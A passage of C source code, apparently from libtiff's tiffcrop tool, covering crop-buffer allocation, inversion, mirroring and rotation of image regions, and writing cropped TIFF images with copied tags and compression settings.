TIFFTAG_YRESOLUTION, (float)vres); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) writeBufferToContigTiles (out, sect_buff, length, width, spp, dump); else writeBufferToSeparateTiles (out, sect_buff, length, width, spp, dump); } else { if (config == PLANARCONFIG_CONTIG) writeBufferToContigStrips (out, sect_buff, length); else writeBufferToSeparateStrips(out, sect_buff, length, width, spp, dump); } if (!TIFFWriteDirectory(out)) { TIFFClose(out); return (-1); } return (0); } /* end writeSingleSection */ /* Create a buffer to write one section at a time */ static int createImageSection(uint32 sectsize, unsigned char **sect_buff_ptr) { unsigned char *sect_buff = NULL; unsigned char *new_buff = NULL; static uint32 prev_sectsize = 0; sect_buff = *sect_buff_ptr; if (!sect_buff) { sect_buff = (unsigned char *)_TIFFmalloc(sectsize); *sect_buff_ptr = sect_buff; _TIFFmemset(sect_buff, 0, sectsize); } else { if (prev_sectsize < sectsize) { new_buff = _TIFFrealloc(sect_buff, sectsize); if (!new_buff) { free (sect_buff); sect_buff = (unsigned char *)_TIFFmalloc(sectsize); } else sect_buff = new_buff; _TIFFmemset(sect_buff, 0, sectsize); } } if (!sect_buff) { TIFFError("createImageSection", "Unable to allocate/reallocate section buffer"); return (-1); } prev_sectsize = sectsize; *sect_buff_ptr = sect_buff; return (0); } /* end createImageSection */ /* Process selections defined by regions, zones, margins, or fixed sized areas */ static int processCropSelections(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, struct buffinfo seg_buffs[]) { int i; uint32 width, length, total_width, total_length; tsize_t cropsize; unsigned char *crop_buff = NULL; unsigned char *read_buff = NULL; unsigned char *next_buff = NULL; tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; if (crop->img_mode == COMPOSITE_IMAGES) { cropsize = crop->bufftotal; crop_buff = seg_buffs[0].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = cropsize; /* Checks for matching width or length as required */ if (extractCompositeRegions(image, crop, read_buff, crop_buff) != 0) return (1); if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for composite regions"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } /* Mirror and Rotate will not work with multiple regions unless they are the same width */ if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror composite regions %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate composite regions by %d degrees", crop->rotation); return (-1); } seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = (((crop->combined_width * image->bps + 7 ) / 8) * image->spp) * crop->combined_length; } } else /* Separated Images */ { total_width = total_length = 0; for (i = 0; i < crop->selections; i++) { cropsize = crop->bufftotal; crop_buff = seg_buffs[i].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = cropsize; if (extractSeparateRegion(image, crop, read_buff, crop_buff, i)) { TIFFError("processCropSelections", "Unable to extract cropped region %d from image", i); return (-1); } width = crop->regionlist[i].width; length = crop->regionlist[i].length; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for region"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror crop region %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->regionlist[i].width, &crop->regionlist[i].length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate crop region by %d degrees", crop->rotation); return (-1); } total_width += crop->regionlist[i].width; total_length += crop->regionlist[i].length; crop->combined_width = total_width; crop->combined_length = total_length; seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = (((crop->regionlist[i].width * image->bps + 7 ) / 8) * image->spp) * crop->regionlist[i].length; } } } return (0); } /* end processCropSelections */ /* Copy the crop section of the data from the current image into a buffer * and adjust the IFD values to reflect the new size. If no cropping is * required, use the origial read buffer as the crop buffer. * * There is quite a bit of redundancy between this routine and the more * specialized processCropSelections, but this provides * the most optimized path when no Zones or Regions are required. */ static int createCroppedImage(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, unsigned char **crop_buff_ptr) { tsize_t cropsize; unsigned char *read_buff = NULL; unsigned char *crop_buff = NULL; unsigned char *new_buff = NULL; static tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; /* process full image, no crop buffer needed */ crop_buff = read_buff; *crop_buff_ptr = read_buff; crop->combined_width = image->width; crop->combined_length = image->length; cropsize = crop->bufftotal; crop_buff = *crop_buff_ptr; if (!crop_buff) { crop_buff = (unsigned char *)_TIFFmalloc(cropsize); *crop_buff_ptr = crop_buff; _TIFFmemset(crop_buff, 0, cropsize); prev_cropsize = cropsize; } else { if (prev_cropsize < cropsize) { new_buff = _TIFFrealloc(crop_buff, cropsize); if (!new_buff) { free (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = new_buff; _TIFFmemset(crop_buff, 0, cropsize); } } if (!crop_buff) { TIFFError("createCroppedImage", "Unable to allocate/reallocate crop buffer"); return (-1); } *crop_buff_ptr = crop_buff; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to invert colorspace for image or cropped selection"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to mirror image or cropped selection %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, crop_buff_ptr)) { TIFFError("createCroppedImage", "Failed to rotate image or cropped selection by %d degrees", crop->rotation); return (-1); } } if (crop_buff == read_buff) /* we used the read buffer for the crop buffer */ *read_buff_ptr = NULL; /* so we don't try to free it later */ return (0); } /* end createCroppedImage */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. * Use of global variables for config, compression and others * should be replaced by addition to the crop_mask struct (which * will be renamed to proc_opts indicating that is controlls * user supplied processing options, not just cropping) and * then passed in as an argument. */ static int writeCroppedImage(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, unsigned char *crop_buff, int pagenum, int total_pages) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeCroppedImage", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* $holdout mask */ { TIFFError ("writeCroppedImage", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else { if (input_compression == COMPRESSION_SGILOG || input_compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } } if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeCroppedImage", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeCroppedImage", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (bps != 1) { TIFFError("writeCroppedImage", "Group 3/4 compression is not usable with bps > 1"); return (-1); } if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; case COMPRESSION_NONE: break; default: break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { TIFFSetField(out, TIFFTAG_PAGENUMBER, pagenum, total_pages); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write contiguous tile data for page %d", pagenum); } else { if (writeBufferToSeparateTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate tile data for page %d", pagenum); } } else { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigStrips (out, crop_buff, length)) TIFFError("","Unable to write contiguous strip data for page %d", pagenum); } else { if (writeBufferToSeparateStrips(out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate strip data for page %d", pagenum); } } if (!TIFFWriteDirectory(out)) { TIFFError("","Failed to write IFD for page number %d", pagenum); TIFFClose(out); return (-1); } return (0); } /* end writeCroppedImage */ static int rotateContigSamples8bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 src_byte = 0, src_bit = 0; uint32 row, rowsize = 0, bit_offset = 0; uint8 matchbits = 0, maskbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples8bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (row = 0; row < length ; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*next) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else { buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end rotateContigSamples8bits */ static int rotateContigSamples16bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint16 matchbits = 0, maskbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples16bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (next[0] << 8) | next[1]; else buff1 = (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end rotateContigSamples16bits */ static int rotateContigSamples24bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint32 matchbits = 0, maskbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint32)-1 >> (32 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; else buff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end rotateContigSamples24bits */ static int rotateContigSamples32bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 row, rowsize, bit_offset; uint32 src_byte, src_bit; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint64)-1 >> (64 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; longbuff2 = longbuff1; } else { longbuff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end rotateContigSamples32bits */ /* Rotate an image by a multiple of 90 degrees clockwise */ static int rotateImage(uint16 rotation, struct image_data *image, uint32 *img_width, uint32 *img_length, unsigned char **ibuff_ptr) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, src_offset, dst_offset; uint32 i, col, width, length; uint32 colsize, buffsize, col_offset, pix_offset; unsigned char *ibuff; unsigned char *src; unsigned char *dst; uint16 spp, bps; float res_temp; unsigned char *rbuff = NULL; width = *img_width; length = *img_length; spp = image->spp; bps = image->bps; rowsize = ((bps * spp * width) + 7) / 8; colsize = ((bps * spp * length) + 7) / 8; if ((colsize * width) > (rowsize * length)) buffsize = (colsize + 1) * width; else buffsize = (rowsize + 1) * length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (rotation) { case 0: case 360: return (0); case 90: case 180: case 270: break; default: TIFFError("rotateImage", "Invalid rotation angle %d", rotation); return (-1); } if (!(rbuff = (unsigned char *)_TIFFmalloc(buffsize))) { TIFFError("rotateImage", "Unable to allocate rotation buffer of %1u bytes", buffsize); return (-1); } _TIFFmemset(rbuff, '\0', buffsize); ibuff = *ibuff_ptr; switch (rotation) { case 180: if ((bps % 8) == 0) /* byte alligned data */ { src = ibuff; pix_offset = (spp * bps) / 8; for (row = 0; row < length; row++) { dst_offset = (length - row - 1) * rowsize; for (col = 0; col < width; col++) { col_offset = (width - col - 1) * pix_offset; dst = rbuff + dst_offset + col_offset; for (i = 0; i < bytes_per_pixel; i++) *dst++ = *src++; } } } else { /* non 8 bit per sample data */ for (row = 0; row < length; row++) { src_offset = row * rowsize; dst_offset = (length - row - 1) * rowsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (reverseSamples8bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (reverseSamples16bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (reverseSamples24bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; break; case 90: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = ((length - 1) * rowsize) + (col * bytes_per_pixel); dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src -= rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = (length - 1) * rowsize; dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; case 270: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = col * bytes_per_pixel; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src += rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = 0; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if 